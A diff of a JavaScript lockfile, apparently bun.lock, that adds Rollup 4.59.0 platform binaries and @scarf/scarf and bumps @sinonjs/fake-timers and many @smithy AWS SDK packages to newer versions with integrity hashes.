+ "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA=="],
+
+ "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA=="],
+
"@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw=="],
"@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA=="],
@@ -1735,121 +1855,129 @@
"@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.37.0", "", { "os": "linux", "cpu": "x64" }, "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w=="],
+ "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.59.0", "", { "os": "openbsd", "cpu": "x64" }, "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ=="],
+
+ "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.59.0", "", { "os": "none", "cpu": "arm64" }, "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA=="],
+
"@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.37.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg=="],
"@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.37.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA=="],
+ "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA=="],
+
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.37.0", "", { "os": "win32", "cpu": "x64" }, "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA=="],
"@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="],
+ "@scarf/scarf": ["@scarf/scarf@1.4.0", "", {}, "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ=="],
+
"@sinclair/typebox": ["@sinclair/typebox@0.34.41", "", {}, "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g=="],
"@sinonjs/commons": ["@sinonjs/commons@3.0.1", "", { "dependencies": { "type-detect": "4.0.8" } }, "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ=="],
- "@sinonjs/fake-timers": ["@sinonjs/fake-timers@10.3.0", "", { "dependencies": { "@sinonjs/commons": "^3.0.0" } }, "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA=="],
+ "@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
- "@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="],
+ "@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
- "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+sKqDBQqb036hh4NPaUiEkYFkTUGYzRsn3EuFhyfQfMy6oGHEUJDurLP9Ufb5dasr/XiAmPNMr6wa9afjQB+Gw=="],
+ "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-St+kVicSyayWQca+I1rGitaOEH6uKgE8IUWoYnnEX26SWdWQcL6LvMSD19Lg+vYHKdT9B2Zuu7rd3i6Wnyb/iw=="],
- "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.0.0", "", { "dependencies": { "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-R9wM2yPmfEMsUmlMlIgSzOyICs0x9uu7UTHoccMyt7BWw8shcGM8HqB355+BZCPBcySvbTYMs62EgEQkNxz2ig=="],
+ "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.2.3", "", { "dependencies": { "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-jA5k5Udn7Y5717L86h4EIv06wIr3xn8GM1qHRi/Nf31annXcXHJjBKvgztnbn2TxH3xWrPBfgwHsOwZf0UmQWw=="],
- "@smithy/config-resolver": ["@smithy/config-resolver@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Igfg8lKu3dRVkTSEm98QpZUvKEOa71jDX4vKRcvJVyRc3UgN3j7vFMf0s7xLQhYmKa8kyJGQgUJDOV5V3neVlQ=="],
+ "@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="],
- "@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
+ "@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
"@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@3.2.0", "", { "dependencies": { "@smithy/node-config-provider": "^3.1.4", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "tslib": "^2.6.2" } }, "sha512-0SCIzgd8LYZ9EJxUjLXBmEKSZR/P/w6l7Rz/pab9culE/RWuqelAKGJvn5qUOl8BgX8Yj5HWM50A5hiB/RzsgA=="],
- "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.6", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OZfsI+YRG26XZik/jKMMg37acnBSbUiK/8nETW3uM3mLj+0tMmFXdHQw1e5WEd/IHN8BGOh3te91SNDe2o4RHg=="],
+ "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
- "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+ "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="],
- "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+ "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="],
- "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+ "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-fzbCh18rscBDTQSCrsp1fGcclLNF//nJyhjldsEl/5wCYmgpHblv5JSppQAyQI24lClsFT0wV06N1Porn0IsEw=="],
- "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+ "@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.11", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-MJ7HcI+jEkqoWT5vp+uoVaAjBrmxBtKhZTeynDRG/seEjJfqyg3SiqMMqyPnAMzmIfLaeJ/uiuSDP/l9AnMy/Q=="],
- "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
+ "@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
- "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.0.1", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.0.0", "@smithy/chunked-blob-reader-native": "^4.0.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-rkFIrQOKZGS6i1D3gKJ8skJ0RlXqDvb1IyAphksaFOMzkn3v3I1eJ8m7OkLj0jf1McP63rcCEoLlkAn/HjcTRw=="],
+ "@smithy/hash-blob-browser": ["@smithy/hash-blob-browser@4.2.12", "", { "dependencies": { "@smithy/chunked-blob-reader": "^5.2.2", "@smithy/chunked-blob-reader-native": "^4.2.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-1wQE33DsxkM/waftAhCH9VtJbUGyt1PJ9YRDpOu+q9FUi73LLFUZ2fD8A61g2mT1UY9k7b99+V1xZ41Rz4SHRQ=="],
- "@smithy/hash-node": ["@smithy/hash-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-TJ6oZS+3r2Xu4emVse1YPB3Dq3d8RkZDKcPr71Nj/lJsdAP1c7oFzYqEn1IBc915TsgLl2xIJNuxCz+gLbLE0w=="],
+ "@smithy/hash-node": ["@smithy/hash-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A=="],
- "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-U1rAE1fxmReCIr6D2o/4ROqAQX+GffZpyMt3d7njtGDr2pUNmAKRWa49gsNVhCh2vVAuf3wXzWwNr2YN8PAXIw=="],
+ "@smithy/hash-stream-node": ["@smithy/hash-stream-node@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-hQsTjwPCRY8w9GK07w1RqJi3e+myh0UaOWBBhZ1UMSDgofH/Q1fEYzU1teaX6HkpX/eWDdm7tAGR0jBPlz9QEQ=="],
- "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gdudFPf4QRQ5pzj7HEnu6FhKRi61BfH/Gk5Yf6O0KiSbr1LlVhgjThcvjdu658VE6Nve8vaIWB8/fodmS1rBPQ=="],
+ "@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g=="],
- "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+ "@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow=="],
- "@smithy/md5-js": ["@smithy/md5-js@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLZ647L27APi6zXkZlzSFZIjpo8po45YiyjMGJZM3gyDY8n7dPGdmxIIljLm4gPt/7rRvutLTTkYJpZVfG5r+A=="],
+ "@smithy/md5-js": ["@smithy/md5-js@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-350X4kGIrty0Snx2OWv7rPM6p6vM7RzryvFs6B/56Cux3w3sChOb3bymo5oidXJlPcP9fIRxGUCk7GqpiSOtng=="],
- "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-OGXo7w5EkB5pPiac7KNzVtfCW2vKBTZNuCctn++TTSOMpe6RZO/n6WEC1AxJINn3+vWLKW49uad3lo/u0WJ9oQ=="],
+ "@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.11", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw=="],
- "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
+ "@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
- "@smithy/middleware-retry": ["@smithy/middleware-retry@4.0.7", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/service-error-classification": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "tslib": "^2.6.2", "uuid": "^9.0.1" } }, "sha512-58j9XbUPLkqAcV1kHzVX/kAR16GT+j7DUZJqwzsxh1jtz7G82caZiGyyFgUvogVfNTg3TeAOIJepGc8TXF4AVQ=="],
+ "@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.40", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/service-error-classification": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA=="],
- "@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
+ "@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
- "@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
+ "@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
- "@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
+ "@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
- "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="],
+ "@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
"@smithy/property-provider": ["@smithy/property-provider@3.1.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahyOVR9Q4PEoguJ/NrFP4O7SMAfYO1HLhB18M+q+Z4KFd4V2obiMnlVoUFzFLSPeVt1POyNWneHHrZaTMoc/g=="],
- "@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+ "@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
- "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="],
+ "@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
- "@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
+ "@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
- "@smithy/service-error-classification": ["@smithy/service-error-classification@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0" } }, "sha512-3JNjBfOWpj/mYfjXJHB4Txc/7E4LVq32bwzE7m28GN79+M1f76XHflUaSUkhOriprPDzev9cX/M+dEB80DNDKA=="],
+ "@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
- "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
+ "@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
- "@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
